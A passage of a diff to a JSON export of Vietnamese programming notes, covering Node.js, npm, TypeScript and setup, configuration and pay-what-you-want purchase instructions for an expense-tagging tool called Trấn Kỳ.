nhạc cụ|Môi trường thực thi đối với code cũng giống như nhạc cụ đối với nốt nhạc]]", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-24T05:40:00.000Z", - "id": "Wl" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "aT" }, { - "Tiêu đề": "Cần thiết lập EMS cho Node.js trước khi chạy", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Node/Cần thiết lập EMS cho Node.js trước khi chạy", + "Tiêu đề": "Wikipedia", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Wikipedia", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" @@ -33861,2958 +37670,2974 @@ "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wm" + "id": "aU" }, { - "Tiêu đề": "node.js là cách để dùng JS ở backend", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Node/node.js là cách để dùng JS ở backend", + "Tiêu đề": "✍️Lập trình", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Node với Deno là những môi trường thực thi của JS]]\r\n[[Sau một thập kỷ phát triển, tác giả của Node viết Deno để khắc phục những thiếu sót của Node]]\r\n[[Code giống như các nốt nhạc, engine giống như nhạc công, còn runtime giống như nhạc cụ]]\r\n[[JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn]]\r\n\r\n```dataview\r\nlist \r\nfrom \"✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Node\" \r\nwhere file.name != this.file.name\r\n```", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"✍️Lập trình\" \nWHERE file.name!=this.file.name\ngroup by split(file.folder,\"/\")[1] \n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T13:09:00.000Z", - "id": "Wn" + "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày cập nhật": "2024-09-08T14:44:00.000Z", + "id": "aV" }, { - "Tiêu đề": "npm là chương trình quản lý package cho node.js", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Node/npm là chương trình quản lý package cho node.js", + "Tiêu đề": "Template tạo vault và website mới", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Template tạo vault và website mới", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tương tự, [[pip là chương trình quản lý package của Python]]\n[[Node.js là cách để dùng JS ở backend]]\n[[Package và library là những cái tên khác nhau cho cùng một thứ]]\n[[npx là một gói mở rộng của npm giúp việc cài đặt dễ dàng hơn]]", + "Toàn bộ nội dung": "## Tạo kho mới\n`Ξ Thiết lập/Ξ Thiết lập.md`:\n```yaml\nTên vault: Tiếp thị số, xử lý dữ liệu và lập trình\nMã vault: C2\nMô tả: Những thứ giúp xây dựng mental model khi phải code một cái gì đó\nURL: https://{{subDomain}}.quảcầu.cc\nGit URL: {{gitUrl}}\n```\n\nEnveloppe:\n\n## Tạo web mới\n- [ ] `_data.yaml`\n- [ ] CNAME\n\n## GitHub\n```\ngit add -A \ngit commit -m \"Khởi tạo\"\ngit tag Cấutrúc0.0.1\n\ngh repo create --public\ngit remote add origin {{gitUrl}}\ngit push -u origin main\n```\n## đối ⊷ thoại\n## Cloudflare", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-29T04:15:00.000Z", - "id": "Wo" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-25T14:01:00.000Z", + "id": "aW" }, { - "Tiêu đề": "npx là một gói mở rộng của npm giúp việc cài đặt dễ dàng hơn", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Node/npx là một gói mở rộng của npm giúp việc cài đặt dễ dàng hơn", + "Tiêu đề": "1.1 Cài đặt PowerShell, Deno, Python, Git, VS Code", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/1. Cài đặt và sử dụng nhanh/1.1 Cài đặt PowerShell, Deno, Python, Git, VS Code", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://giangmd.net/wp-content/uploads/2019/12/npm-npx-300x145.png)\nMột thèn quản lý, một thèn thực thi \n\nVí dụ để cài đặt một dự án React, chúng ta sẽ khởi tạo một dự án npm với lệnh:\n```\nnpm init\n```\n\nSau đó sẽ cài đặt các gói phụ thuộc tiếp theo: react, react-dom,… Thay vào đó, chỉ với npx bây giờ chúng ta chỉ cần chạy một lệnh duy nhất. \n```\nnpx create-react-app my-app \n```\n\nMở trình chạy command line bạn sẽ thấy các gói phụ thuộc sẽ lần lượt được cài đặt. \n\nNguồn:: [NPX là gì? Sự khác nhau giữa NPX và NPM - Chia sẻ kiến thức lập trình web](https://giangmd.net/npx-la-gi-su-khac-nhau-giua-npx-va-npm/)", + "Toàn bộ nội dung": "Cách này dành cho các máy sử dụng Windows 10 trở lên.\r\n## B1: Mở PowerShell\r\n[[Shell là cái vỏ bảo vệ lõi của hệ điều hành]]. [[PowerShell là một ngôn ngữ shell]]. Bạn bấm vào Start, tìm chương trình có tên PowerShell và chọn mục *Run as Administrator*\r\n![](https://i.imgur.com/LYd1b4d.png)\r\n## B2: Cài các chương trình cần thiết\r\nSao chép toàn bộ khối lệnh dưới đây, dán vào PowerShell và bấm Enter. Nó sẽ giúp bạn cài các phần mềm cần thiết mà không cần phải lên trang chủ của chúng tải thủ công từng cái về. \r\n\r\n```\r\nSet-ExecutionPolicy -ExecutionPolicy RemoteSigned\r\nwinget install Microsoft.Powershell\r\nwinget install DenoLand.Deno \r\nwinget install Python.Python.3.11\r\nwinget install Git.Git \r\nwinget install Microsoft.VisualStudioCode\r\n```\r\n## B3: Khởi động lại máy\r\n\r\nTiếp theo:: [[👏Trấn Kỳ/Hướng dẫn sử dụng/1. Cài đặt và sử dụng nhanh/1.2 Lấy code]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-29T04:15:00.000Z", - "id": "Wp" + "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "aX" }, { - "Tiêu đề": "package.json dùng để thiết lập Node.js", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Node/package.json dùng để thiết lập Node.js", + "Tiêu đề": "1.2 Lấy code", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/1. Cài đặt và sử dụng nhanh/1.2 Lấy code", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Cần thiết lập EMS cho Node.js trước khi chạy]] \r\n", + "Toàn bộ nội dung": "Bởi vì [Lý do viết Trấn Kỳ](https://obsidian.quảcầu.cc/📐 dự án/trấn kỳ/9 blog/lý do viết trấn kỳ?utm_source=CW+%C2%BB+Ti%E1%BA%BFp+th%E1%BB%8B+s%E1%BB%91%2C+x%E1%BB%AD+l%C3%BD+d%E1%BB%AF+li%E1%BB%87u+v%C3%A0+l%E1%BA%ADp+tr%C3%ACnh+%C2%BB+1.2+L%E1%BA%A5y+code&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3) là để giúp Kendy, và vì Kendy vẫn còn gặp khó khăn, bọn mình mong muốn bạn cũng sẽ góp phần hỗ trợ Kendy.\r\n\r\nVì bọn mình muốn Trấn Kỳ là của bạn, nên **giá của nó do bạn quyết định**. Với những giá trị bạn nhận được từ Trấn Kỳ, thì bạn nghĩ rằng nó xứng đáng được trả bao nhiêu? *Giả sử* bạn nghĩ nó đáng 5 triệu đồng, và hiện tại việc trả trước 200.000đ không làm bạn đắn đo, thì bọn mình sẽ gửi Trấn Kỳ cho bạn. Phần 4.800.000đ còn lại bạn có thể trả góp sau, hoặc đổi bằng việc tham gia hỗ trợ Kendy bằng cách hỗ trợ phát triển Trấn Kỳ. Và cũng vì công sức lao động là của bạn, nên **giá của nó cũng do bạn quyết định**. Ví dụ bạn thấy rằng với mỗi công việc hỗ trợ bạn xứng đáng nhận được 1 triệu đồng. Vậy thì bạn chỉ cần làm 5 công việc, bọn mình sẽ trả lại cho bạn 200.000đ. Bọn mình nghĩ làm như vậy sẽ [thú vị và ý nghĩa](https://obsidian.quảcầu.cc/%F0%9F%93%90%20d%E1%BB%B1%20%C3%A1n/tr%E1%BA%A5n%20k%E1%BB%B3/9%20blog/l%E1%BB%9Di%20m%E1%BB%9Di%20x%C3%A2y%20d%E1%BB%B1ng%20m%E1%BB%99t%20startup%20%C4%91%E1%BB%83%20l%C3%A0m%20nh%E1%BB%AFng%20vi%E1%BB%87c%20m%E1%BB%99t%20ng%C6%B0%E1%BB%9Di%20b%E1%BA%A1n%20s%E1%BA%BD%20l%C3%A0m/?utm_source=CW+Ti%E1%BA%BFp+th%E1%BB%8B+s%E1%BB%91%2C+x%E1%BB%AD+l%C3%BD+d%E1%BB%AF+li%E1%BB%87u+v%C3%A0+l%E1%BA%ADp+tr%C3%ACnh+%C2%BB+1.2+L%E1%BA%A5y+code&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=%22th%C3%BA+v%E1%BB%8B%22+){ .md-button .md-button--primary } hơn nhiều.\r\n\r\nBạn hãy gửi tiền vào tài khoản sau:\r\n- **Chủ tài khoản:** Nguyễn Hữu Lộc\r\n- **Số tài khoản:** 0777.85.00.94\r\n- **Ngân hàng:** TPBank\r\n- **Lời nhắn:** TRANKY [email của bạn] [lần gửi] [mức giá của Trấn Kỳ bạn nghĩ nó xứng đáng nhận được] \r\n\r\nNếu tình trạng của bạn làm bạn khó làm được bất kỳ điều gì, và thực sự là Trấn Kỳ là giải pháp để giải quyết nhiều gánh nặng của bạn, bạn hãy gửi một email đến địa chỉ [quacau.thesphere@gmail.com](mailto:quacau.thesphere@gmail.com) để giải thích thêm về tình trạng của bạn và việc dùng chương trình này sẽ giúp ích cho bạn thế nào. Bọn mình sẽ gửi link cho bạn.\r\n\r\nRất mong bạn hiểu cho bọn mình. Sau khi Kendy đã hết khó khăn rồi, bọn mình sẽ công khai link cho mọi người.\r\n\r\nXem thêm:: [Hỏi đáp về việc bán Trấn Kỳ](https://obsidian.quảcầu.cc/📐 dự án/trấn kỳ/9 blog/hỏi đáp về việc bán trấn kỳ/?utm_source=CW+%C2%BB+X%E1%BB%AD+l%C3%BD+d%E1%BB%AF+li%E1%BB%87u+v%C3%A0+l%E1%BA%ADp+tr%C3%ACnh+%C2%BB+1.2+L%E1%BA%A5y+code&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3){ .md-button .md-button--primary }\r\n\r\n\r\nKết quả đầu ra sẽ là:\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-08-25T07:20:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wq" + "id": "aY" }, { - "Tiêu đề": "Node với Deno là những môi trường thực thi của JS", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Node với Deno là những môi trường thực thi của JS", + "Tiêu đề": "1.3 Tải code", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/1. Cài đặt và sử dụng nhanh/1.3 Tải code", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "1. Mở VS Code\r\n2. Mở bảng lệnh trong VS Code bằng tổ hợp phím <kbd>Ctrl + Shift + P</kbd>\r\n3. Tại dấu nhắc bảng lệnh, tìm kiếm và chọn lệnh **Git: Clone**, sau đó chọn **Clone from GitHub** và nhấn **Enter**\r\n ![lệnh gitcl trong dấu nhắc bảng lệnh của Visual Studio Code](https://learn.microsoft.com/en-us/azure/developer/javascript/media/how-to-clone-github-repo/visual-studio-code-git-clone.png)\r\n4. Đăng nhập vào tài khoản GitHub của bạn\r\n5. Nhập link chứa code vào\r\n6. Chọn (hoặc tạo) thư mục mà bạn muốn lưu code \r\n7. Nhấn **Enter**\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wr" + "id": "aZ" }, { - "Tiêu đề": "strict mode là chế độ code nghiêm ngặt, bắt buộc lập trình viên phải tuân thủ theo quy tắc mà JS đưa ra", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/strict mode là chế độ code nghiêm ngặt, bắt buộc lập trình viên phải tuân thủ theo quy tắc mà JS đưa ra", + "Tiêu đề": "2. Thiết lập chương trình", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/2. Thiết lập chương trình", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Cách dùng use strict trong javascript (chế độ strict mode)](https://freetuts.net/use-strict-trong-javascript-407.html)\r\n", + "Toàn bộ nội dung": "Để Trấn Kỳ có thể phân loại tự động được, bạn cần phải thiết lập cấu hình. Các cấu hình được khai báo nằm trong thư mục `A. Cấu hình`. Chúng ở định dạng YAML. Cấu trúc cơ bản của nó như sau:\r\n```yaml\r\nKhai báo:\r\n - Tên chiều: \r\n Dữ liệu tự nhận dạng: \r\n\tGiá trị mặc định: \r\n Ký tự để nhập trực tiếp:\r\n Từ:\r\n Nhãn:\r\n Tên gọi đầu ra:\r\n Từ: \r\n Nhãn: \r\nViết tắt:\r\nFibery:\r\nKeep\r\n```\r\nVí dụ:\r\n```yaml\r\nKhai báo:\r\n - Tên chiều: Món đồ\r\n Dữ liệu tự nhận dạng: \r\n - Lương thực: lương thực, ăn sáng, ăn trưa, ăn chiều, ăn tối, cơm sáng, cơm trưa, cơm tối, bánh mì, rau, đồ hộp, cơm bụi, nước, bình nước\r\n - Xe: xăng, nhớt xe, sửa xe, gửi xe, grab, thuê xe, xe đò, tài xế\r\n - Tên chiều: Phương thức thanh toán\r\n Dữ liệu tự nhận dạng: \r\n - Tài khoản ngân hàng: agri, vcb\r\n - Ví điện tử: momo, zalopay\r\n - Tiền mặt: tiền mặt\r\n    Giá trị mặc định: tiền mặt\r\n - Tên chiều: Người thụ hưởng\r\n Dữ liệu tự nhận dạng: \r\n - Tài khoản ngân hàng: agri, vcb\r\n - Ví điện tử: momo, zalopay\r\n - Tiền mặt: tiền mặt\r\n    Giá trị mặc định: tiền mặt\r\n - Tên chiều: Người thụ hưởng\r\n Dữ liệu tự nhận dạng:\r\n - Gia đình: bản thân, vợ, con\r\n - Nhà vợ: ba vợ, má vợ, chị dâu, em dâu\r\n Giá trị mặc định: Bản thân\r\n Ký tự để nhập trực tiếp:\r\n Từ: \"@\" \r\n Nhãn: \"@@\" \r\n - Tên chiều: Số tiền\r\n - Tên chiều: Ghi chú\r\n Ký tự để nhập trực tiếp:\r\n Từ: \"(\", \")\"\r\n\r\nViết tắt: \r\n - ăn sáng: as, ss\r\n - chuyển khoản: ck\r\n - cà phê: cafe, cf\r\n```\r\n> [!Attention] Lỗi sai thường gặp khi viết YAML\r\n> - Dùng tab để thụt đầu dòng\r\n> - Số dấu cách ở đầu mỗi dòng không chính xác\r\n> - Không để các ký tự đặc biệt vào dấu ngoặc kép\r\nNếu bạn cần dùng các ký tự này: `{`, `}`, `[`, `]`, `&`, `*`, `#`, `?`, `|`, `-`, `<`, `>`, `=`, `!`, `%`, `@`, `:`, `` ` ``, `,` thì cần để vào dấu ngoặc kép.\r\n> \r\n> Để đảm bảo việc viết cú pháp đúng bạn có thể dùng [YAML Viewer](https://codebeautify.org/yaml-viewer-online)\r\n\r\n## Các chiều đặc biệt\r\nNếu bạn khai báo một trong những chiều này thì cần lưu ý thêm:\r\n### `Món đồ`\r\n- Những món đồ cùng nhãn thì chỉ hiển thị một nhãn. Ví dụ: nếu câu nhập là `thịt 50k, cá 20k` thì nhãn sẽ là `Lương thực`, không phải `Lương thực, Lương thực`\r\n- Nếu trong câu nhập có nhiều món đồ cùng nhãn thì chỉ lấy một nhãn\r\n\r\n### `Phương thức thanh toán`\r\nNếu trong câu nhập có nhiều phương thức thanh toán thì chỉ lấy cái cuối cùng, còn tất cả những cái phía trước chỉ là thông tin. Ví dụ, nếu câu nhập là `đáo hạn shinhan` thì `shinhan` sẽ là `Phương thức thanh toán`. Nhưng nếu câu nhập là `đáo hạn shinhan bằng vcb` thì `vcb` sẽ là `Phương thức thanh toán`.\r\n\r\n### `Số tiền`\r\n- Số tiền sẽ là các số có đuôi là tr, k, đ, d. Nếu không có đơn vị thì sẽ không xem là số tiền\r\n- Nếu có nhiều giá trị thì sẽ lấy tổng. Nếu muốn chọn một giá trị nào đó thì thêm dấu bằng phía trước nó (`=`). Ví dụ:\r\n\t - `cá 50k thịt 40k` → `90000`.\r\n\t - `cá 50k thịt = 40k`→ `40000`\r\n\r\n- Dấu thập phân là dấu chấm (`.`). Bạn có thể dùng dấu phẩy (`,`) để cách các con số để dễ đọc. Nó sẽ được bỏ đi. Ví dụ: 1.2tr, 3,400k, 123,456,700đ, 123,456,700d.\r\n\r\n\r\n## Một số phím tắt thường dùng cho việc đọc hiểu code\r\n\r\n| Phím tắt | Chức năng |\r\n| ---------------- | --------------------------------------------------------- |\r\n| Alt + Z | Word wrap |\r\n| Ctrl + Shift + . | Mở danh sách các hàm và biến |\r\n| F12 | Đến nhanh những nơi hàm hoặc biến được sử dụng |\r\n| Ctrl + Space | Mở danh sách gợi ý điền nhanh |\r\n| Ctrl + K Z | Mở zen mode |\r\n| Ctrl + \\ | Chia màn hình thành các editor (hay còn gọi là tab group) |\r\n| Ctrl + 1, 2, 3 | Di chuyển giữa các editor |\r\n| F6 | Đổi panel |\r\n| Ctrl + B | Mở sidebar trái (VS Code gọi là primary sidebar) |\r\n| Ctrl + Shift + B | Mở sidebar phải (VS Code gọi là secondary sidebar) |\r\n\r\nXem thêm:: [[YAML được sinh ra để con người đọc và viết metadata một cách dễ dàng]]\r\nXem thêm:: [[Phím tắt trong VS Code]]\r\nXem thêm:: [[Giao diện VS Code]]\r\n\r\n```yaml\r\n - Tên chiều: Món đồ \r\n Tên gọi đầu ra:\r\n Từ: (Item)\r\n Nhãn: (Loại chi tiêu) \r\n```\r\nNếu em không có mục `Tên gọi đầu ra` thì kết quả giống như trong hình. Nếu có thì `Món đồ` sẽ có tên là `(Item)`, còn `Loại món đồ` sẽ có tên `(Loại chi tiêu)`", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-08-25T07:20:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ws" + "id": "aa" }, { - "Tiêu đề": "Temporal được sinh ra để giải quyết rắc rối của Date", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Thư viện, API/Temporal được sinh ra để giải quyết rắc rối của Date", + "Tiêu đề": "Sử dụng main.ts", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/2. Thiết lập chương trình/Sử dụng main.ts", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Temporal documentation](https://tc39.es/proposal-temporal/docs/)\r\n[Những thư viện xử lý ngày tháng trong JavaScript - Ehkoo](https://ehkoo.com/bai-viet/nhung-thu-vien-xu-ly-ngay-thang-trong-javascript)", + "Toàn bộ nội dung": "[[Sử dụng tranky.py]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-13T14:35:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wt" + "id": "ab" }, { - "Tiêu đề": "VanillaJS chỉ là JS bình thường", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Thư viện, API/VanillaJS chỉ là JS bình thường", + "Tiêu đề": "Sử dụng tranky.py", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/2. Thiết lập chương trình/Sử dụng tranky.py", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nó chỉ là một trò đùa để những ai mê dùng framework hiểu rằng JS bình thường dùng cũng tốt\r\n\r\n[Vanilla JS](http://vanilla-js.com/)\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-13T14:36:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wu" + "id": "ac" }, { - "Tiêu đề": "as, is là những cách để nói cho TS biết là mình hiểu nhiều hơn nó", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/as, is là những cách để nói cho TS biết là mình hiểu nhiều hơn nó", + "Tiêu đề": "Thiết lập trên Fibery", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/2. Thiết lập chương trình/Thiết lập trên Fibery", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# `is` là để hàm kiểm tra ra boolean có thể dùng cho if\r\nGiả sử ta có code sau:\r\n```ts\r\ninterface Chó {\r\n sủa: 'gâu gâu'\r\n} \r\ninterface Mèo {\r\n kêu: 'meo meo'\r\n} \r\ndeclare function lấyTênThú(): Chó | Mèo \r\n```\r\n\r\nTa tạo hàm kiểm tra xem một con thú có phải là chó hay không. Đây là một hàm boolean bình thường:\r\n```ts\r\n/** Nếu `thú.sủa === 'gâu gâu'` thì `return true`, tức là đây chính là chó. Còn nếu `thú.sủa === undefined` thì `return false`, tức là đây không phải là chó */\r\nfunction làChó(thú: Chó | Mèo){\r\n return thú.sủa !== undefined;\r\n}\r\nconst thú = lấyTênThú()\r\nif (làChó(thú)) {\r\n thú.sủa \r\n} else {\r\n thú.kêu\r\n}\r\n```\r\nKhi viết như này thì TS không tự hiểu được là ở block true `thú` chỉ có thể là `Chó`, còn ở block false thì chỉ có thể là `Mèo`:\r\n![](https://i.imgur.com/IMNk1h9.png)\r\n(bị lỗi font, đừng để ý đến màu, mà hãy để ý đến gạch chân) \r\n\r\nLý do nó không hiểu được là vì nó chỉ biết hàm `làChó()` trả về `true` hoặc `false`, chứ không biết là trả về `Chó` hay `Mèo`:\r\n![](https://i.imgur.com/NXfYqNy.png)\r\n\r\nNhưng nếu ở hàm `làChó()` ta dùng `thú is Chó` như sau:\r\n```diff\r\n- function làChó(thú: Chó | Mèo){\r\n+ function làChó(thú: Chó | Mèo): thú is Chó {\r\n```\r\nThì nó sẽ biết là nếu trả về `true`, thì `true` đó phải được hiểu là `Chó`. Khi đó, trong if nó sẽ tự động nhận dạng được và sẽ tự động gợi ý được luôn:\r\n![](https://i.imgur.com/EbEqDUv.png)\r\n![](https://i.imgur.com/koobLhe.png)\r\n\r\nCái này gọi là **type predicate** hoặc là type guard.\r\n\r\n# `as` là để ép kiểu\r\n\r\n[[satisfied là để kiểm tra xem dữ liệu mình nhập bằng tay có thoả kiểu hay không]]", + "Toàn bộ nội dung": "```\r\nPS D:\\QC supplements\\Code\\Apps\\Trấn Kỳ\\Thành phần bổ trợ\\Bundle> deno run --allow-all --allow-env build.ts\r\n __________________________________________\r\n/ \"Code chạy trên Finance-Transaction cho \\\r\n| Fibery.js\" đã được dựng xong và được lưu |\r\n| . Nó cũng đã được copy sẵn vào clipboard |\r\n\\ và sẵn sàng để dán. /\r\n ------------------------------------------\r\n \\\r\n \\ _\r\n / )\r\n / /\r\n //| \\ \\\r\n .-'^ \\ .-'''''-. \\ \\\r\n o' {|} \\_/ \\ / /\r\n '--, _ // .---. \\ / /\r\n ^^^' )/ ,/ \\ \\/ /\r\n ( /) /\\/ /\r\n / / ( / ( /\r\n ___/ /) ( __/ __\\ (\r\n (((__)((__)((__(((___)\r\n```\r\n\r\n\r\nNếu bạn chỉ muốn sử dụng tính năng mặc định thì làm như sau:\r\n1. Copy nội dung của file [](./final.js)\r\n2. Mở Fibery, Ở thẻ Actions chọn Created và Updated, với field là Name như hình:\r\n![](https://i.imgur.com/8iVGxfO.png)\r\n3. Nhập câu nhập bất kỳ và kiểm tra\r\n\r\nĐể kiểm tra kết quả tính toán, vào thẻ Activity\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-09-24T15:04:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wv" + "id": "ad" }, { - "Tiêu đề": "/// cung cấp chỉ dẫn cho TS", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Chỉ thị ba dấu gạch chéo cung cấp chỉ dẫn cho TS", + "Tiêu đề": "3.1 Mô hình xử lý dữ liệu", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/3. Hiểu code nói gì/3.1 Mô hình xử lý dữ liệu", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```\r\n/// <reference path=\"helperFunctions.ts\" />\r\n/// <reference types=\"node\" />\r\n/// <reference lib=\"es2015\" />\r\n \r\n// Mã nguồn của file hiện tại sử dụng các hàm từ helperFunctions.ts,\r\n// sử dụng các kiểu từ thư viện Node.js, và sử dụng các tính năng từ ES2015.\r\n```\r\n\r\nNguồn:: [Triple-Slash Directives trong TypeScript là gì?](https://freetuts.net/tripleslash-directives-trong-typescript-la-gi-6250.html)", + "Toàn bộ nội dung": "Hai khối dữ liệu quan trọng nhất trong Trấn Kỳ là khối khai báo và khối câu nhập. Chúng đều có $n$ chiều. Các chiều này được khai báo trong cấu hình. Trong mỗi chiều lại chứa $2$ danh sách: danh sách từ và danh sách nhãn. Ví dụ, trong chiều chi tiêu của khốiKhaiBáo $2$ danh sách này có dạng như sau:\r\n- danhSáchTừ: `['rau' , ... , 'xăng', 'nhớt xe', ... ]`\r\n- danhSáchNhãn: `['Lương thực', ... , 'Xe' , 'Xe', ... ]`\r\n\r\nTa biết được nhãn của mỗi từ thông qua việc chúng có cùng chỉ số với nhau.\r\n\r\nTa có thể gọi những danh sách này qua các chỉ số trong vật thể. Ví dụ:\r\n- danhSáchTừ của chiều chi tiêu của khốiKhaiBáo: `khốiKhaiBáo[0][0]`\r\n- danhSáchNhãn của chiều chi tiêu của khốiKhaiBáo: `khốiKhaiBáo[0][1]`\r\n\r\n- danhSáchTừ của chiều PTTT của khốiKếtQuả: `khốiKếtQuả[1][0]`\r\n- danhSáchNhãn của chiều PTTT của khốiKếtQuả: `khốiKếtQuả[1][1]`\r\n\r\nNói chung, chỉ số của một danh sách có dạng `tênVậtThể[i][j]`, với:\r\n- $i$ là chỉ số chiều:\r\n - $i = 0$: chi tiêu\r\n - $i = 1$: phương thức thanh toán\r\n - $i= 2$: nơi mua\r\n - ...\r\n- $j$ là chỉ số danh sách:\r\n - $j = 0$: danh sách từ\r\n - $j = 1$: danh sách nhãn của từ\r\n - $j = 2$: danh sách vị trí của từ (chỉ có ở khốiKếtQuả) \r\n\r\nVí dụ, với 